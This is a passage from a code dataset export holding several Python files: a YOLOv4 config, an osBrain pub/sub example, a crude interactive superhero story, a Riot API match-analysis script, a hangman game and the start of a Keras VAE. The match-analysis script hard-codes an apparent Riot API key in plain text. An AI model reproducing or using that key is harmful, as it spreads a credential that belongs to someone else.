loss scaling factor\nconfig.training.loss_scaling = 4096.0\n# Enable automatic loss scaling\nconfig.training.auto_loss_scaling = False\n# Stochastic Rounding\nconfig.training.stochastic_rounding = False\n# Number of training epochs\nconfig.training.epochs = 300\n# Logging interval to wandb\nconfig.training.logging_interval = 200\n# Executable cache path, storing compiled model\nconfig.training.exec_cache_path = \"./exec_cache\"\n# Checkpoint interval to save the internal state of the model\nconfig.training.checkpoint_interval = 10\n# Scaling factors for each loss component\nconfig.training.box_gain = 0.05\nconfig.training.class_gain = 0.5\nconfig.training.object_gain = 1.0\nconfig.training.fl_gamma = 0.0\nconfig.training.ciou_ratio = 1.0\n# Weight averaging decay factor\nconfig.training.weight_avg_decay = 0.9999\n\n\nconfig.dataset = CN()\n# Name of the dataset\nconfig.dataset.name = \"coco\"\n# Maximum number of bounding boxes per image in the dataset\nconfig.dataset.max_bbox_per_scale = 90\n\n\n# The labels are masked using 5 different masks in the preprocessing\nmask_n = 5\n# Maximum number of labels per detector size after preprocessing the labels\nconfig.model.max_nlabels_p3 = mask_n * len(config.model.anchors.p3width) * config.dataset.max_bbox_per_scale\nconfig.model.max_nlabels_p4 = mask_n * len(config.model.anchors.p3width) * config.dataset.max_bbox_per_scale\nconfig.model.max_nlabels_p5 = mask_n * len(config.model.anchors.p3width) * config.dataset.max_bbox_per_scale\n\n\nconfig.dataset.train = CN()\nconfig.dataset.test = CN()\n# Cache the images on ram instead of reading them from disk\nconfig.dataset.train.cache_data = False\nconfig.dataset.test.cache_data = False\n# Path to the annotations of the coco dataset\nconfig.dataset.train.file = \"train2017.txt\"\nconfig.dataset.test.file = \"val2017.txt\"\nconfig.dataset.test.annotation = \"instances_val2017.json\"\n# Path to cache the data on disk (Labels, shapes and names of image files)\nconfig.dataset.train.cache_path = \"./utils/data/train\"\nconfig.dataset.test.cache_path = \"./utils/data/test\"\n# Use data augmentation\nconfig.dataset.train.data_aug = False\nconfig.dataset.test.data_aug = False\n# Data augmentation modes mosaic and color (TODO)\nconfig.dataset.mosaic = False\nconfig.dataset.color = False\n# Data aug (cutout) - proportion of object obscured in order to be removed from the label\nconfig.dataset.train.cutout_obscured_pct = 0.6\n# Data aug (cutout) - minimum cutout area scale required for label to be removed\nconfig.dataset.train.cutout_scaled_treshold = 0.3\n# Data aug (hsv) - hue, sat and val gain\nconfig.dataset.train.hsv_h_gain = 0.5\nconfig.dataset.train.hsv_s_gain = 0.5\nconfig.dataset.train.hsv_v_gain = 0.5\n# Data Aug - random perspective config\nconfig.dataset.train.degrees = 0.0\nconfig.dataset.train.translate = 0.5\nconfig.dataset.train.scale = 0.5\nconfig.dataset.train.shear = 0.0\nconfig.dataset.train.perspective = 0.0\n# Data Aug - flip\nconfig.dataset.train.flipud = 0.0\nconfig.dataset.train.fliplr = 0.5\n\nconfig.eval = CN()\n# Compute eval metrics\nconfig.eval.metrics = True\n# Display eval metrics per class\nconfig.eval.verbose = False\n\n\ndef get_cfg_defaults():\n \"\"\"Get a yacs CfgNode object with default values for YoloV4.\"\"\"\n return config.clone()\n\n\ndef override_cfg(opt, cfg):\n override_list = []\n for k, v in vars(opt).items():\n if k in opt_to_cfg_map and v is not None:\n override_list += [opt_to_cfg_map[k], v]\n cfg.merge_from_list(override_list)\n return cfg\n\n\ndef convert_to_dict(cfg_node, key_list=[]):\n def flist(x):\n retval = yaml.comments.CommentedSeq(x)\n retval.fa.set_flow_style()\n return retval\n\n if not isinstance(cfg_node, CN):\n if isinstance(cfg_node, list):\n cfg_node = flist(cfg_node)\n return cfg_node\n else:\n cfg_dict = dict(cfg_node)\n for k, v in cfg_dict.items():\n cfg_dict[k] = convert_to_dict(v, key_list + [k])\n return cfg_dict\n\n\ndef save_cfg(path, cfg):\n cfg_dict = convert_to_dict(cfg)\n with open(path, \"w\") as f:\n ryaml = yaml.YAML()\n ryaml.dump(cfg_dict, f)\n","sub_path":"preview/vision/yolo_v4/pytorch/utils/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":7233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"419405084","text":"import random\nfrom osbrain import random_nameserver\nfrom osbrain import run_agent\n\n\ndef hello_world(agent):\n topic = random.choice(['a', 'b'])\n agent.log_info('Sending %s message...' % topic)\n agent.send('pub', 'Hello, world!', topic=topic)\n\n\ndef log_a(agent, message):\n agent.log_info('a: %s' % message)\n\n\ndef log_b(agent, message):\n agent.log_info('b: %s' % message)\n\n\nif __name__ == '__main__':\n\n # System deployment\n ns = random_nameserver()\n publisher = run_agent('Publisher', nsaddr=ns)\n subscriber0 = run_agent('Subscriber0', nsaddr=ns)\n subscriber1 = run_agent('Subscriber1', nsaddr=ns)\n subscriber2 = run_agent('Subscriber2', nsaddr=ns)\n\n # System configuration\n addr = publisher.bind('PUB', alias='pub')\n publisher.set_method(iddle=hello_world)\n subscriber0.connect(addr, handler={'a': log_a, 'b': log_b})\n subscriber1.connect(addr, handler={'a': log_a})\n subscriber2.connect(addr, handler={'b': log_b})\n","sub_path":"examples/pub_sub_filter/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"390731118","text":"\"\"\"\nAuthor: Travis Couture\nDate Created: 08/27/2015\nFirst Real Test Script\nEnjoy!\n\"\"\"\n\nimport os\nimport sys\nimport time\ncurrentDirectory = os.getcwd()\ncurrentSys = sys\ncurrentTime = time\n\n# input=raw_input\n\n# change above comment to a statement to run in a GUI instead of command line\n\n# Creating a class bellow on line \"11\" to be used for dialog\n\n\nclass TextStyle:\n BOLD = '\\033[1m' # Bolds text\n HEROSPEECH = '\\033[92m' # Changes the color of the text (lines \"138-140\")\n HEROSPEECH2 = '\\033[96m'\n RADIO = '\\033[94m'\n VILLAINSPEECH = '\\033[91m'\n END = '\\033[0m'\n\n\n# Below is the intro text. The user must hit enter or return from the keyboard to continue.\n\nprint(\"Hello. Welcome to Travis Couture's first interactive story.\\nI hope you enjoy the story you make! \\n\")\ninput(\"Please press the enter or return key to continue.\\n\")\n\nprint(\"Please follow the instructions given to you to create the characters, settings, and events in your story.\\n\")\ninput(\"Press the enter or return key to continue.\\n \")\n\nrestart = 1\n\n# Restart variable determines whether the script starts over or not\n# Default value for variable \"restart\" can later be altered to \"2\" by user input to exit script instead of restarting\n\nwhile restart == 1:\n\n print(TextStyle.BOLD + \"Create the characters in your story!\")\n print(\"THE CHARACTERS:\\n\" + TextStyle.END)\n\n \"\"\"\n Use a while loop function to force user to enter a certain value(s). If an accepted value is not returned,\n the use of the statement \"while\" with the modifier \"True\" will loop the function back to the initial request for an\n input and will do so until an accepted value is entered by the user. In this case the user has to enter one of the\n listed terms deemed acceptable for gender (found in the variables \"maleAnswers\" and \"femaleAnswers\").\n Basically this says if the user doesn't enter one of these values loop back and ask for the user's gender again.\n The if statement lets you enter your own validation rules for acceptable input even if python would consider\n the input correct.\n \"\"\"\n\n while True:\n userGender = input(\"Are you male or female?\\n\")\n maleAnswers = [\"male\", \"Male\", \"boy\", \"Boy\", \"man\", \"Man\", \"guy\", \"Guy\", \"gentleman\", \"Gentleman\"]\n femaleAnswers = [\"female\", \"Female\", \"girl\", \"Girl\", \"lady\", \"Lady\", \"woman\", \"Woman\"]\n if userGender in maleAnswers:\n heroGender1 = \"he\"\n heroGender2 = \"his\"\n heroGender3 = \"him\"\n break\n elif userGender in femaleAnswers:\n heroGender1 = \"she\"\n heroGender2 = \"her\"\n heroGender3 = \"her\"\n break\n else:\n print(\"Sorry. You've entered and incorrect option. Please enter your gender.\\n\")\n continue\n\n print(\"\\n\")\n\n # The strings in the variables \"maleAnswers\" and \"femaleAnswers\" are acceptable inputs for the variable userGender.\n\n # Reassigning the variables above starting on line \"40\" to make them fit the story properly as pronouns.\n\n userName = input(\"What is your name?\\n\")\n userName = userName.title()\n print(\"\\n\")\n\n # The \".title\" method automatically capitalizes the first letter of each word in a string\n\n superheroName = input(\"Enter your superhero name.\\n\")\n superheroName = superheroName.title()\n print(\"\\n\")\n\n superPower = input(\"Enter your super power.\\n\")\n superPower = superPower.lower() # The \".lower\" method automatically lower cases every letter in a string\n print(\"\\n\")\n\n friendsName = input(\"Enter the name of your sidekick.\\n\")\n friendsName = friendsName.title()\n print(\"\\n\")\n\n # Using the same \"while\" loop from line \"35\" above\n\n while True:\n villainGender = input(\"Is your arch enemy male or female?\\n\")\n maleAnswers = [\"male\", \"Male\", \"boy\", \"Boy\", \"man\", \"Man\", \"guy\", \"Guy\", \"gentleman\", \"Gentleman\"]\n femaleAnswers = [\"female\", \"Female\", \"girl\", \"Girl\", \"lady\", \"Lady\", \"woman\", \"Woman\"]\n if villainGender in maleAnswers:\n evilGender1 = \"he\"\n evilGender2 = \"his\"\n evilGender3 = \"him\"\n break\n elif villainGender in femaleAnswers:\n evilGender1 = \"she\"\n evilGender2 = \"her\"\n evilGender3 = \"her\"\n break\n else:\n print(\"Sorry. You've entered and incorrect option. Please enter your gender.\\n\")\n continue\n\n print(\"\\n\")\n\n # Reassigning the variables above starting on line \"84\" for the villain to make them fit as pronouns for the story\n\n villainName = input(\"Enter the real name of your arch enemy.\\n\")\n villainName = villainName.title()\n print(\"\\n\")\n\n supervillainName = input(\"Enter your arch enemy's supervillain name.\\n\")\n supervillainName = supervillainName.title()\n print(\"\\n\")\n\n villainPower = input(\"Enter your arch enemy's supervillain power.\\n\")\n villainPower = villainPower.lower()\n print(\"\\n\")\n\n print(TextStyle.BOLD + \"Now create the setting for your story!\")\n print(\"THE SETTING:\\n\" + TextStyle.END)\n\n cityName = input(\"What is the name of the city you protect?\\n\")\n cityName = cityName.title()\n print(\"\\n\")\n\n secretBase = input(\"What is the name of your secret base?\\n\")\n secretBase = secretBase.title()\n print(\"\\n\")\n\n firstFight = input(\"What time of day did you first confront your arch enemy in the city?\\n\")\n firstFight = firstFight.lower()\n print(\"\\n\")\n\n buildingName = input(\"What is the most important building in your city called?\\n\")\n buildingName = buildingName.title()\n print(\"\\n\")\n\n print(TextStyle.BOLD + \"Its time to make some things happen!\")\n print(\"THE PLOT:\\n\" + TextStyle.END)\n\n firstEncounter = input(\"What did your arch enemy do first?\\n\")\n firstEncounter = firstEncounter.lower()\n print(\"\\n\")\n\n findingClues = input(\"Who do you interrogate to get clues about your arch enemy's diabolical plan?\\n\")\n findingClues = findingClues.title()\n print(\"\\n\")\n\n enemysPlan = input(\"You have the clue! What is your arch enemy's evil master plan?\\n\")\n print(\"\\n\")\n\n print(\"Great! All your responses are saved! This should be...interesting...\\n\")\n print(\"\\n\")\n\n # Below is a \"while\" loop to force the user to type a specific response and insult them if they don't\n\n while True:\n finalCheck = input(\"When're you're ready type \\\"go\\\" and hit enter to read your story!!!\\n\")\n acceptableAnswers = [\"go\", \"GO\", \"go!\", \"GO!\"]\n if finalCheck not in acceptableAnswers:\n print(\"Seriously can you follow instructions? You might be an idiot...\\n \\n\")\n else:\n break\n\n print(\"\\n\" * 5)\n\n \"\"\"\n Use the \"%\" sign within the quotes of the print function to state whether to print a string (%s) or something\n else like and integer or list. Then use a \"%\" sign after the quotes of the print function followed by parenthesis\n to indicate what variables or values you would like to have print in place of the \"%\" placeholders.\n \"\"\"\n\n print(\"In the city of %s, %s had an alter ego as a superhero. %s's superhero name was %s.\"\n % (cityName, userName, userName, superheroName))\n print(\n \"Recently, %s's arch enemy, %s, had been terrorizing %s more often.\"\n \"This lead %s to believe something was askew.\"\n % (superheroName, supervillainName, cityName, userName))\n print(\"%s took initiative and took %s sidekick, %s, with %s to look for clues in the city.\"\n % (superheroName, heroGender2, friendsName, heroGender3))\n print(\"However, upon arriving in the city, %s and %s ran into %s around %s.\"\n % (superheroName, friendsName, supervillainName, firstFight))\n print(\"Immediately %s used %s superpower of %s to attack %s and %s.\"\n % (supervillainName, evilGender2, villainPower, superheroName, friendsName))\n print(\"%s used %s superpower of %s to save %s and get the pair out of harms way.\"\n % (superheroName, heroGender2, superPower, friendsName))\n print(\"%s and %s returned %s, their secret base, and discussed what to do.\\n\"\n % (superheroName, friendsName, secretBase))\n print(TextStyle.BOLD + TextStyle.HEROSPEECH +\n \"%s:\\n Golly %s I think there's poop stains in my unitard.\"\n \" Do you know how expensive spandex is to dry clean?\\n\"\n % (friendsName, superheroName) + TextStyle.END)\n print(TextStyle.BOLD + TextStyle.HEROSPEECH2 +\n \"%s:\\n This isn't the time for jokes %s! The world euchre tournament will be in town this week\"\n \" and innocent lives will be at stake!\\n\"\n % (superheroName, friendsName) + TextStyle.END)\n print(TextStyle.BOLD + TextStyle.HEROSPEECH +\n \"%s:\\n You're right %s. We need to find some clues for what %s plans to do!\\n\"\n % (friendsName, superheroName, supervillainName) + TextStyle.END)\n print(\"However during the two hero's conversation, their police scanner suddenly intercepted a transmission\\n\")\n print(TextStyle.BOLD + TextStyle.RADIO +\n \"Police Scanner:\"\n \" %s is on the move! %s just %s!\\n\"\n % (supervillainName, evilGender1, firstEncounter) + TextStyle.END)\n print(\"The heroic pair suddenly looked each other and away they went to confront %s\" % supervillainName)\n print(\"%s and %s arrived at the %s building only to find out %s had already escaped.\"\n % (superheroName, friendsName, buildingName, supervillainName))\n print(\"However the dynamic duo found that %s had left one of %s robot henchmen behind to in order to escape\"\n \"the police.\"\n % (supervillainName, evilGender2))\n print(\"The two heroes immediately interrogated the henchman and found out its name was %s and that\"\n \"%s's real identity was actually %s!!!\" % (findingClues, supervillainName, villainName))\n print(\"Also, they found out %s's evil master plans was to %s!\"\n % (supervillainName, enemysPlan))\n print(\"Quickly %s and %s made their way to the outskirts of %s only to find %s waiting for them.\\n\"\n % (superheroName, friendsName, cityName, supervillainName))\n print(TextStyle.BOLD + TextStyle.HEROSPEECH +\n \"%s:\\n Late? I think we're here just in time %s, or should I say %s!!!\\n\"\n % (superheroName, superheroName, villainName) + TextStyle.END)\n print(\"%s looked shocked they knew %s was actually %s, but then immediately laughed.\\n\"\n % (supervillainName, evilGender1, villainName))\n print(TextStyle.BOLD + TextStyle.HEROSPEECH +\n \"%s:\\n It doesn't matter if you know my true identity because soon you'lle be dead!\\n\"\n % supervillainName + TextStyle.END)\n print(\"%s pulled out a gun that fired big black dildos covered in cans of Axe body spray at the pair.\"\n \"%s took one directly to the face and %s grabbed %s sidekick and took cover.\"\n \"%s looked at %s and gave %s one last smile before dying.\"\n \"In a mix of rage and sadness %s let out a loud scream and placed %s on the ground gently.\\n\"\n % (supervillainName, friendsName, superheroName, heroGender2, friendsName, superheroName,\n heroGender3, superheroName, friendsName))\n print(TextStyle.BOLD + TextStyle.HEROSPEECH +\n \"%s:\\n You will pay for this %s!\\n\"\n % (superheroName, supervillainName) + TextStyle.END)\n print(\"%s knew %s was a real threat now and fired a nuclear dildo at %s.\\n\"\n \"However, %s used %s superpower of %s to deflect the dildo back into %s's mouth.\"\n \"%s's face was in shock as the nuclear dildo exploded inside %s destroying %s once and for all.\"\n % (supervillainName, superheroName, heroGender3, superheroName, heroGender2, superPower, supervillainName,\n supervillainName, evilGender2, supervillainName))\n print(\"Now that %s was no longer a threat to %s, %s could finally retire from being a \"\n \"superhero and fulfill %s dream of becoming a champion euchre player.\\n\"\n % (supervillainName, cityName, userName, heroGender3))\n\n print(\"\\n\" * 5)\n restart = input(\"I hope you enjoyed making your own epic superhero story.\"\n \"If you want to make another story press '1' and hit enter.\"\n \"If not press '2' and hit enter to exit.\")\n\n # Above statement determines whether the loop continues or breaks\n # If the uses inputs \"1\" the loop continues, if the user inputs any other value the loop breaks\n\n continue\n","sub_path":"PythonLearning/StoryScript.py","file_name":"StoryScript.py","file_ext":"py","file_size_in_byte":12512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"19014015","text":"import requests as req\nimport pandas as pd\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.tree import export_graphviz\nimport scipy as sp\nimport numpy as np\nimport time\nimport json\nimport matplotlib\nimport six\nimport zipfile as zf\n\n\nclass urls(object):\n base = 'https://na1.api.riotgames.com/lol/'\n summonername = 'summoner/v3/summoners/by-name/'\n champs = 'static-data/v3/champions'\n champinfo = 'static-data/v3/champions/'\n matchlist = 'match/v3/matchlists/by-account/'\n match = 'match/v3/matches/'\n item = 'sta' \\\n 'tic-data/v3/items/'\n sumspell = 'static-data/v3/summoner-spells/'\n matchtime = 'match/v3/timelines/by-match/'\n\n\nclass settings(object):\n uname = 'thesoundandthefruity'\n key = 'RGAPI-646d46ce-8f5f-4b33-809e-787c1ac039d7'\n\n\nclass champs(object):\n data = req.request('GET',urls.base + urls.champs + '?api_key=' + settings.key)\n\n\nclass summoner(object):\n def __init__(self,summonername, settings):\n info = req.request('GET', urls.base + urls.summonername + summonername + '?api_key=' + settings.key).json()\n self.settings = settings\n self.accountId = info['accountId']\n self.id = info ['id']\n self.matchlist = req.request('GET', urls.base+urls.matchlist+str(self.accountId)+'?api_key='+settings.key).json()\n\n def getallmatchdata(self):\n matches = self.matchlist['matches']\n self.matchids = [x['gameId'] for x in matches]\n\n matchdata = []\n for match in self.matchids:\n print('Getting match ', match)\n time.sleep(1.2)\n matchdata += [req.request('GET',urls.base+urls.match+str(match)+'?api_key='+self.settings.key).json()]\n\n self.matchdata = matchdata\n #\n # def getalltimelinedata(self):\n # matches = self.matchlist['matches']\n # self.matchids = [x['gameId'] for x in matches]\n #\n # tldata = []\n # for match in self.matchids:\n # print('Getting match ', match)\n # time.sleep(1.2)\n # tldata += [req.request('GET',urls.base+urls.matchtime+str(match)+'?api_key='+self.settings.key).json()]\n #\n # self.timelinedata = tldata\n\ndef getmatchtimeline(matchid, settings):\n print('Getting match ', matchid)\n time.sleep(1.2)\n tl = req.request('GET',urls.base+urls.matchtime+str(matchid)+'?api_key='+settings.key).json()\n return tl\n\n\ndef findtargetparticipant(target,participantIdentities):\n if type(participantIdentities) == list:\n t = {x['player']['summonerName']: x['participantId'] for x in participantIdentities}\n return t[target]\n else:\n return None\n\n\ndef findtargetparticipantchampid(target,participants):\n if type(participants) == list:\n t = {x['participantId']: x['championId'] for x in participants}\n return t[target]\n else:\n return None\n\n\ndef findtargetparticipantteam(target,participants):\n if type(participants) == list:\n t = {x['participantId']: x['teamId'] for x in participants}\n return t[target]\n else:\n return None\n\ndef findwin(target,participants):\n if type(participants) == list:\n t = {x['participantId']: x['stats']['win'] for x in participants}\n return t[target]\n else:\n return None\n\ndef findlane(target,participants):\n if type(participants) == list:\n t = {x['participantId']: x['timeline']['lane'] for x in participants}\n return t[target]\n else:\n return None\n\ndef findrole(target,participants):\n if type(participants) == list:\n t = {x['participantId']: x['timeline']['role'] for x in participants}\n return t[target]\n else:\n return None\n\ndef findcsdiffs(target,participants):\n if type(participants) == list:\n t = {x['participantId']: x['timeline']['csDiffPerMinDeltas'] for x in participants}\n return t[target]\n else:\n return None\n\ndef findkills(target,participants):\n if type(participants) == list:\n t = {x['participantId']: x['stats']['kills'] for x in participants}\n return t[target]\n else:\n return None\n\ndef finddeaths(target, participants):\n if type(participants) == list:\n t = {x['participantId']: x['stats']['deaths'] for x in participants}\n return t[target]\n else:\n return None\n\ndef findassists(target, participants):\n if type(participants) == list:\n t = {x['participantId']: x['stats']['assists'] for x in participants}\n return t[target]\n else:\n return None\n\ndef earlyxpgap(target, participants):\n if type(participants) == list:\n try:\n t = {x['participantId']: x['timeline']['xpDiffPerMinDeltas']['0-10'] for x in participants}\n # t = {x['participantId']: list(x['timeline'].keys()) for x in participants}\n return t[target] * 10\n except:\n return None\n else:\n return None\n\n\n\n\ntargetsummoner = 'mrcoolpants17'\nmrcoolpants17 = summoner(targetsummoner, settings)\nmrcoolpants17.getallmatchdata()\nmrcoolpants17.getalltimelinedata()\n\ndata = mrcoolpants17.matchdata\n# with open('matches.json', 'w') as fp:\n# json.dump(data, fp)\n#\n# with open('timelines.json', 'w') as fp:\n# json.dump(data, fp)\n#\n# with open('matches.json', 'r') as fp:\n# backupdata = json.load(fp)\n# data = backupdata\n\n# Format data in table\ntabledata = pd.DataFrame.from_records(data)\ntabledata['fulltimeline'] = [getmatchtimeline(x, settings)\n for x\n in tabledata['gameId']]\n\ntldata = {str(x): y for x, y in zip(tabledata['gameId'], tabledata['fulltimeline'])}\n\n# Back up table data temporarily\n# tabledata.to_csv('tabledata.csv')\nwith open('timelines.json', 'w') as fp:\n json.dump(tldata, fp)\nwith zf.ZipFile('timelines.zip', 'w') as myzip:\n myzip.write('timelines.json')\n\n\n# Remove 3v3 stuff\ntabledata = tabledata[tabledata['queueId'] != 9]\n\ntabledata['targetparticipant'] = [findtargetparticipant(targetsummoner, x) for x in tabledata['participantIdentities']]\ntabledata['targetteam'] = [findtargetparticipantteam(y, x)\n for x, y\n in zip(tabledata['participants'],\n tabledata['targetparticipant'])]\n\ntabledata['label'] = [findwin(y, x)\n for x, y\n in zip(tabledata['participants'],\n tabledata['targetparticipant'])]\n\ntabledata['champid'] = [findtargetparticipantchampid(y, x)\n for x, y\n in zip(tabledata['participants'],\n tabledata['targetparticipant'])]\n\nchampnames = req.request('GET', urls.base+urls.champinfo+'?api_key='+settings.key).json()\nchamptable = pd.DataFrame.from_dict(champnames['data'], orient='index')\n\ntabledata = tabledata.merge(champtable,\n left_on='champid',\n right_on='id')\n\ntabledata['role'] = [findrole(y, x)\n for x, y\n in zip(tabledata['participants'],\n tabledata['targetparticipant'])]\n\ntabledata['lane'] = [findlane(y, x)\n for x, y\n in zip(tabledata['participants'],\n tabledata['targetparticipant'])]\n\ntabledata['kills'] = [findkills(y, x)\n for x, y\n in zip(tabledata['participants'],\n tabledata['targetparticipant'])]\n\ntabledata['deaths'] = [finddeaths(y, x)\n for x, y\n in zip(tabledata['participants'],\n tabledata['targetparticipant'])]\n\ntabledata['assists'] = [findassists(y, x)\n for x, y\n in zip(tabledata['participants'],\n tabledata['targetparticipant'])]\n\ntabledata['xpdiff_10'] = [earlyxpgap(y, x)\n for x, y\n in zip(tabledata['participants'],\n tabledata['targetparticipant'])]\n\ntopchamps = tabledata['name'].value_counts()\n\nclasscols = ['label',\n 'lane',\n 'role',\n 'kills',\n 'deaths',\n 'assists',\n 'gameDuration',\n 'name',\n 'xpdiff_10']\nclassdata = tabledata[classcols].reset_index()\nclassdata_factorized = classdata.apply(lambda x: pd.factorize(x)[0])\nclassdata_factorized['train'] = np.random.uniform(0, 1, len(classdata)) <= .5\n\ntrain, test = classdata_factorized[classdata_factorized['train']==True], classdata_factorized[classdata_factorized['train']==False]\ntrainy = pd.factorize(train['label'])\n\nclf = RandomForestClassifier()\n\nfeatures = ['lane', 'role', 'name', 'kills', 'deaths', 'assists', 'gameDuration', 'xpdiff_10']\n\nclf.fit(train[features], train['label'])\n\nclf.predict(test[features])\n\ntest = test.reset_index()\ntest['result'] = clf.predict(test[features])\ntest[['result', 'label']]\n\npd.crosstab(test['result'], test['label'])\nlist(zip(train[features], clf.feature_importances_))\nexport_graphviz(clf.estimators_[0],\n feature_names=features,\n filled=True,\n rounded=True,\n out_file='tree.dot')\n\n\n# matches = mrcoolpants17.matchlist['matches']\n# matchtable = pd.DataFrame.from_records(matches)\ntabledata.to_csv('tabledata.csv', index=False)\n\n\nsammatchdata = req.request('GET',urls.base+urls.match+str(samplematchid)+'?api_key='+settings.key).json()\nsammatchtimedata = req.request('GET',urls.base+urls.matchtime+str(samplematchid)+'?api_key='+settings.key).json()\n\nparids = sammatchdata['participantIdentities']\nparts = sammatchdata['participants']\nteams = sammatchdata['teams']\n\nsammatchdata.keys()\n","sub_path":"matchanalysis.py","file_name":"matchanalysis.py","file_ext":"py","file_size_in_byte":9816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"418129238","text":"from .exceptions import *\nimport random\n\n# Complete with your own, just for fun :)\nLIST_OF_WORDS = ['chicken', 'horse', 'donkey', 'monkey', 'lion']\n\n\ndef _get_random_word(list_of_words):\n if list_of_words == []:\n raise InvalidListOfWordsException\n return random.choice(list_of_words)\n\n\ndef _mask_word(word):\n if word == '':\n raise InvalidWordException\n secret_word = ''\n for letter in word:\n secret_word += '*'\n return secret_word\n\n\ndef _uncover_word(answer_word, masked_word, character):\n answer_word = answer_word.lower()\n masked_word = masked_word.lower()\n character = character.lower()\n if len(answer_word) == 0:\n raise InvalidWordException\n elif len(character) > 1:\n raise InvalidGuessedLetterException\n elif len(answer_word) != len(masked_word):\n raise InvalidWordException\n \n new_masked_word = ''\n for order, letter in enumerate(answer_word):\n if letter == character:\n new_masked_word += letter\n else:\n new_masked_word += \"*\"\n# return new_masked_word\n masked_word_list = list(masked_word)\n new_masked_word_list = list(new_masked_word)\n count = 0\n final_word = ''\n for letter in masked_word_list:\n if letter == '*' and new_masked_word_list[count] == '*':\n final_word += '*'\n count += 1\n \n elif letter == '*' and new_masked_word_list[count] != '*':\n final_word += new_masked_word_list[count]\n count += 1\n \n elif letter != '*' and new_masked_word_list[count] == '*':\n final_word += letter\n count += 1\n return final_word\n \n \n \n\ndef guess_letter(game, letter):\n \n letter = letter.lower()\n game_finished = False\n initial_game_word = game['masked_word']\n word = _uncover_word(game['answer_word'].lower(), game['masked_word'], letter)\n game['masked_word'] = word\n game['previous_guesses'].append(letter)\n try:\n if game['already_won'] or game['already_lost']:\n game_finished = True\n except:\n game['already_won'] = False\n game['already_lost'] = False\n \n if game_finished:\n raise GameFinishedException\n\n elif game['answer_word'] == word:\n game['already_won'] = True\n raise GameWonException\n\n elif game['remaining_misses'] == 1 and initial_game_word == word:\n game['already_lost'] = True\n raise GameLostException\n\n elif initial_game_word == word:\n game['remaining_misses'] -= 1\n\n else:\n game['remaining_misses'] -= 0\n \n return word\n\n\ndef start_new_game(list_of_words=None, number_of_guesses=5):\n if list_of_words is None:\n list_of_words = LIST_OF_WORDS\n\n word_to_guess = _get_random_word(list_of_words)\n masked_word = _mask_word(word_to_guess)\n game = {\n 'answer_word': word_to_guess,\n 'masked_word': masked_word,\n 'previous_guesses': [],\n 'remaining_misses': number_of_guesses}\n# 'already_won': False,\n# 'already_lost': False}\n\n return game\n","sub_path":"hangman/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":3118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"353864398","text":"from keras.layers import Dense, Input\nfrom keras.layers import Lambda, BatchNormalization\nfrom keras.models import Model, load_model\nfrom keras.losses import binary_crossentropy, mse\nfrom keras.optimizers import Adam\nfrom keras.callbacks import TensorBoard, EarlyStopping, ModelCheckpoint, ReduceLROnPlateau\nfrom keras import backend as K\n\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom sklearn.preprocessing import StandardScaler, MinMaxScaler\nfrom sklearn.metrics import average_precision_score\nfrom imblearn import ensemble\n\nfrom scripts.data_util import build_dataset\n\nINPUT_DIM = 28\n\nEPOCHS = 50\nLR = 1e-3\nBATCH_SIZE = 128\nLATENT_DIM = 20\nBETA = 1\n\n# N_SAMPLES = 500\n\ndef build_model():\n def reparameterization_trick(args):\n mean, log_var = args\n batch = K.shape(mean)[0]\n dim = K.int_shape(mean)[1]\n epsilon = K.random_normal(shape=(batch, dim))\n return mean + K.exp(0.5 * log_var) * epsilon\n\n def vae_loss(y_true, y_pred):\n reconstruction_loss = INPUT_DIM*mse(y_true, y_pred)#binary_crossentropy(y_true, y_pred)\n kl_loss = -0.5 * K.sum(1 + z_log_var - K.square(z_mean) - K.exp(z_log_var), axis=-1)\n return K.mean(reconstruction_loss + BETA*kl_loss)\n\n inputs = Input(shape=(INPUT_DIM,))\n\n encoding = Dense(256, activation='relu')(inputs)\n encoding = BatchNormalization()(encoding)\n encoding = Dense(128, activation='relu')(encoding)\n encoding = BatchNormalization()(encoding)\n encoding = Dense(64, activation='relu')(encoding)\n encoding = BatchNormalization()(encoding)\n\n z_mean = Dense(LATENT_DIM)(encoding)\n z_log_var = Dense(LATENT_DIM)(encoding)\n\n z = Lambda(reparameterization_trick, output_shape=(LATENT_DIM,))([z_mean, z_log_var])\n\n encoder = Model(inputs, [z_mean, z_log_var, z], name='encoder')\n encoder.summary()\n\n latent_inputs = Input(shape=(LATENT_DIM,))\n\n decoding = Dense(64, activation='relu')(latent_inputs)\n decoding = BatchNormalization()(decoding)\n decoding = Dense(128, activation='relu')(decoding)\n decoding = BatchNormalization()(decoding)\n decoding = Dense(256, activation='relu')(decoding)\n decoding = BatchNormalization()(decoding)\n\n outputs = Dense(INPUT_DIM)(decoding)\n\n decoder = Model(latent_inputs, outputs, name='decoder')\n decoder.summary()\n\n outputs = decoder(encoder(inputs)[2])\n\n vae = Model(inputs, outputs, name='vae')\n\n vae.compile(optimizer=Adam(LR), loss=vae_loss)\n vae.summary()\n\n return encoder, decoder, vae\n\nNUM_TESTS = 20\n\ndef main_hybrid():\n encoder, decoder, vae = build_model()\n\n encoder.load_weights('models/wamencoder16.h5')\n\n train_x, train_y, test_x, test_y = build_dataset()\n\n etrain_x = encoder.predict(train_x)[0]\n etest_x = encoder.predict(test_x)[0]\n\n seeds = np.random.randint(low=np.iinfo(np.int32).max, size=NUM_TESTS)\n\n performance_scores = []\n\n for i, seed in enumerate(seeds):\n classifier = ensemble.BalancedRandomForestClassifier(random_state=seed)\n classifier.fit(etrain_x, train_y)\n\n classifier_whole = ensemble.BalancedRandomForestClassifier(random_state=seed)\n classifier_whole.fit(train_x, train_y)\n\n pred_test_y = classifier.predict_proba(etest_x)[:,1]\n # pred_class = classifier.predict(test_x_with_scores)\n\n pred_test_y_whole = classifier_whole.predict_proba(test_x)[:,1]\n\n auc_pr = average_precision_score(test_y, pred_test_y)\n auc_pr_whole = average_precision_score(test_y, 